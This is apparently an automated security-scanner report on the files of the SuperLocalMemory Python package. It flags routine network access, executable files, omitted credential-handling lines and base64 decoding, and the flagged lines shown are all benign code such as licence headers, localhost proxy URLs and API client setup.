# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/optimize/metrics/mcp_compression.py
- Executable scriptline 1
Executable file
src/superlocalmemory/optimize/metrics/persistence.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/optimize/proxy/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/optimize/proxy/_helpers.py
src/superlocalmemory/optimize/proxy/access.py
- Executable scriptline 1
Executable file
src/superlocalmemory/optimize/proxy/anthropic_surface.py
src/superlocalmemory/optimize/proxy/capture.py
src/superlocalmemory/optimize/proxy/gemini_surface.py
- Executable scriptline 1
Executable file - Network accessline 20
NOTE ON GOOGLE GENAI ENV VARS (v3.6.4): Set GOOGLE_GENAI_BASE_URL=http://127.0.0.1:8765 for google-genai SDK >=0.6 - Network accessline 21
Set GOOGLE_GENAI_BASE_URL=http://127.0.0.1:8765 for google-genai SDK >=0.6 - Network accessline 22
Set GOOGLE_API_BASE=http://127.0.0.1:8765 for older google-generativeai SDK - Network accessline 23
Gemini CLI (≤2025-06-18): GEMINI_API_HOST=http://127.0.0.1:8765 - Network accessline 24
AGY (Antigravity): GOOGLE_GENAI_BASE_URL=http://127.0.0.1:8765 - Network accessline 58
_GEMINI_UPSTREAM_BASE = "https://generativelanguage.googleapis.com"
src/superlocalmemory/optimize/proxy/lifecycle.py
- Executable scriptline 1
Executable file
src/superlocalmemory/optimize/proxy/openai_surface.py
src/superlocalmemory/optimize/proxy/server.py
- Executable scriptline 1
Executable file - Network accessline 45
async def startup(self) -> None: self.http_client = GatedAsyncClient( timeout=httpx.Timeout( - Network accessline 46
self.http_client = GatedAsyncClient( timeout=httpx.Timeout( connect=_CONNECT_TIMEOUT_S, - Network accessline 47
timeout=httpx.Timeout( - Network accessline 51
pool=_CONNECT_TIMEOUT_S, ), limits=httpx.Limits( - Network accessline 52
), limits=httpx.Limits( max_connections=_MAX_CONNECTIONS, - Network accessline 53
limits=httpx.Limits(
src/superlocalmemory/optimize/proxy/vertex_surface.py
- Executable scriptline 1
Executable file - Network accessline 10
under 'contents'). The provider=='vertex' branch in CacheManager.build_key extracts these correctly — preventing all-requests-same-key collision. D2: Pin upstream host to https://{location}-aiplatform.googleapis.com from path. - Network accessline 11
extracts these correctly — preventing all-requests-same-key collision. D2: Pin upstream host to https://{location}-aiplatform.googleapis.com from path. IGNORE providers.vertex.base_url — honoring it is an SSRF surface. - Network accessline 12
D2: Pin upstream host to https://{location}-aiplatform.googleapis.com from path. - Network accessline 92
D2 (LOCKED): pin host to https://{location}-aiplatform.googleapis.com - Network accessline 95
host = f"https://{location}-aiplatform.googleapis.com"
src/superlocalmemory/optimize/storage/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/optimize/storage/db.py
- Executable scriptline 1
Executable file
src/superlocalmemory/optimize/storage/erasure.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/optimize/storage/provenance.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/optimize/storage/schema.py
- Executable scriptline 1
Executable file
src/superlocalmemory/parameterization/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/parameterization/cross_project.py
- Executable scriptline 1
Executable file
src/superlocalmemory/parameterization/pattern_extractor.py
- Executable scriptline 1
Executable file
src/superlocalmemory/parameterization/pii_filter.py
src/superlocalmemory/parameterization/prompt_injector.py
- Executable scriptline 1
Executable file
src/superlocalmemory/parameterization/prompt_lifecycle.py
- Executable scriptline 1
Executable file
src/superlocalmemory/parameterization/soft_prompt_generator.py
- Executable scriptline 1
Executable file
src/superlocalmemory/parameterization/workflow_miner.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/reliability/__init__.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/reliability/join_liveness.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/reliability/prior_distance.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/remote_connections/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/remote_connections/async_state.py
- Executable scriptline 1
Executable file
src/superlocalmemory/remote_connections/codec.py
src/superlocalmemory/remote_connections/companion.py
src/superlocalmemory/remote_connections/credentials.py
- Executable scriptline 1
Executable file - Access to secretsline 89
[Credential-related source omitted] - Access to secretsline 92
[Credential-related source omitted] - Access to secretsline 93
[Credential-related source omitted] - Access to secretsline 94
[Credential-related source omitted] - Access to secretsline 104
[Credential-related source omitted] - Access to secretsline 117
[Credential-related source omitted]
src/superlocalmemory/remote_connections/gateway_provider.py
- Executable scriptline 1
Executable file - Network accessline 23
AUTH = "https://auth.superlocalmemory.com" - Network accessline 60
raise ValueError("invalid_gateway_endpoint") try: async with httpx.AsyncClient( - Network accessline 61
try: async with httpx.AsyncClient( trust_env=False, follow_redirects=False, timeout=10 - Network accessline 62
async with httpx.AsyncClient( - Access to secretsline 206
[Credential-related source omitted] - Access to secretsline 239
[Credential-related source omitted] - Access to secretsline 257
[Credential-related source omitted] - Access to secretsline 264
[Credential-related source omitted] - Access to secretsline 268
[Credential-related source omitted] - Access to secretsline 275
[Credential-related source omitted] - Access to secretsline 279
[Credential-related source omitted] - Access to secretsline 301
[Credential-related source omitted] - Access to secretsline 304
[Credential-related source omitted] - Access to secretsline 309
[Credential-related source omitted] - Access to secretsline 312
[Credential-related source omitted] - Access to secretsline 352
[Credential-related source omitted] - Access to secretsline 355
[Credential-related source omitted] - Access to secretsline 361
[Credential-related source omitted] - Access to secretsline 365
[Credential-related source omitted] - Access to secretsline 372
[Credential-related source omitted] - Access to secretsline 376
[Credential-related source omitted] - Access to secretsline 394
[Credential-related source omitted] - Access to secretsline 398
[Credential-related source omitted]
src/superlocalmemory/remote_connections/grant.py
- Executable scriptline 1
Executable file
src/superlocalmemory/remote_connections/grant_keys.py
- Executable scriptline 1
Executable file
src/superlocalmemory/remote_connections/journal.py
- Executable scriptline 1
Executable file
src/superlocalmemory/remote_connections/native_enrollment.py
src/superlocalmemory/remote_connections/origin.py
- Executable scriptline 1
Executable file - Network accessline 90
if type(port) is not int or not 1 <= port <= 65535: raise ValueError("invalid_origin_port") self._base_url = f"https://127.0.0.1:{port}" - Network accessline 91
raise ValueError("invalid_origin_port") self._base_url = f"https://127.0.0.1:{port}" self._app = RemoteListenerASGI(app, ("127.0.0.1",)) - Network accessline 92
self._base_url = f"https://127.0.0.1:{port}" - Network accessline 157
transport = httpx.ASGITransport(app=bounded_app, raise_app_exceptions=True) - Network accessline 161
headers["Authorization"] = "Bearer " + credential.origin_key try: async with httpx.AsyncClient( - Network accessline 162
try: async with httpx.AsyncClient( transport=transport, - Network accessline 163
async with httpx.AsyncClient( - Possible obfuscationline 173
content=base64.b64decode(request["bodyBase64"], validate=True),
src/superlocalmemory/remote_connections/peer_names.py
- Executable scriptline 1
Executable file
src/superlocalmemory/remote_connections/peer_sync.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/remote_connections/private_state.py
- Executable scriptline 1
Executable file
src/superlocalmemory/remote_connections/proof.py
- Executable scriptline 1
Executable file
src/superlocalmemory/remote_connections/renewal.py
- Executable scriptline 1
Executable file
src/superlocalmemory/remote_connections/runtime.py
- Executable scriptline 1
Executable file - Network accessline 35
logger = logging.getLogger(__name__) MCP_URL = "https://mcp.superlocalmemory.com/mcp" - Network accessline 36
MCP_URL = "https://mcp.superlocalmemory.com/mcp" - Access to secretsline 645
[Credential-related source omitted] - Access to secretsline 691
[Credential-related source omitted] - Network accessline 834
current_profile=profile, can_manage=allowed, redirect_uri=f"http://127.0.0.1:{port}/api/v3/connections/callback", - Network accessline 835
can_manage=allowed, redirect_uri=f"http://127.0.0.1:{port}/api/v3/connections/callback", ) - Network accessline 836
redirect_uri=f"http://127.0.0.1:{port}/api/v3/connections/callback",
src/superlocalmemory/remote_connections/service.py
- Executable scriptline 1
Executable file
src/superlocalmemory/remote_connections/session.py
- Executable scriptline 1
Executable file
src/superlocalmemory/remote_connections/upload_relay.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Possible obfuscationline 134
body = base64.b64decode(request["bodyBase64"], validate=True)
src/superlocalmemory/retrieval/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/retrieval/_worker_process.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/adjacency_load.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/adjacency_rcu.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/adjacency_slot.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 43
[Credential-related source omitted] - Access to secretsline 55
[Credential-related source omitted]
src/superlocalmemory/retrieval/agentic.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/ann_index.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/answer_check_status.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/answer_question_forms.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/answerability.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/bm25_channel.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/bridge_discovery.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/calibration_metrics.py
- Executable scriptline 1
Executable file
src/superlocalmemory/retrieval/canonical_vector_index.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/change_tracked.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/channel_registry.py
- Executable scriptline 1
Executable file
src/superlocalmemory/retrieval/channel_status.py
- Executable scriptline 1
Executable file
src/superlocalmemory/retrieval/community_context.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/embedding_calibration.py
- Executable scriptline 1
Executable file
src/superlocalmemory/retrieval/engine.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 1176
[Credential-related source omitted]
src/superlocalmemory/retrieval/entity_channel.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/entity_graph_warmup.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/evidence_attach.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/evidence_features.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/exact_lexical.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/explicit_answer.py
- Executable scriptline 1
Executable file
src/superlocalmemory/retrieval/explicit_slots.py
- Executable scriptline 1
Executable file
src/superlocalmemory/retrieval/facets.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/fact_cover.py
- Executable scriptline 1
Executable file
src/superlocalmemory/retrieval/fallback_fidelity.py
- Executable scriptline 1
Executable file
src/superlocalmemory/retrieval/forgetting_filter.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/fusion.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/graph_adjacency.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/graph_catchup.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 92
[Credential-related source omitted]
src/superlocalmemory/retrieval/graph_delta.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/hopfield_channel.py
- Executable scriptline 1
Executable file
src/superlocalmemory/retrieval/hosted_redaction.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 20
[Credential-related source omitted]
src/superlocalmemory/retrieval/hub_baseline.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/jev_judge.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 72
JEV_ENDPOINTS: dict[str, tuple[str, str]] = { "typesafe": ("https://api.typesafe.ai/v1/systemone", "jev-1.13.0"), - Network accessline 73
"typesafe": ("https://api.typesafe.ai/v1/systemone", "jev-1.13.0"), - Network accessline 74
"openrouter": ("https://openrouter.ai/api/alpha/decisions", "typesafe/jev-1.13"),
src/superlocalmemory/retrieval/jev_kinds.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/jev_rerank.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/jev_transport.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 120
remaining = max(0.01, deadline - time.monotonic()) with client.stream("POST", endpoint, headers=headers, timeout=httpx.Timeout(remaining), **payload) as response: - Network accessline 121
with client.stream("POST", endpoint, headers=headers, timeout=httpx.Timeout(remaining), **payload) as response: if response.status_code != 200: - Network accessline 122
timeout=httpx.Timeout(remaining), **payload) as response:
src/superlocalmemory/retrieval/judge_calibration_file.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/judge_recipe.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/kind_aware.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/kind_filter.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/kind_scope.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/laya_background.py
- Executable scriptline 1
Executable file
src/superlocalmemory/retrieval/laya_kinds.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/laya_set_recipe.py
- Executable scriptline 1
Executable file
src/superlocalmemory/retrieval/laya_transport.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/media_channel.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/media_rerank.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/media_scope.py
- Executable scriptline 1
Executable file
src/superlocalmemory/retrieval/profile_channel.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/project_scope.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/project_search.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/quantization_aware_search.py
- Executable scriptline 1
Executable file
src/superlocalmemory/retrieval/query_embedding.py
- Executable scriptline 1
Executable file
src/superlocalmemory/retrieval/query_entities.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/retrieval/query_lexicon.py
- Executable scriptline 1
Executable file
src/superlocalmemory/retrieval/query_rewrite.py
- Network accessline 1
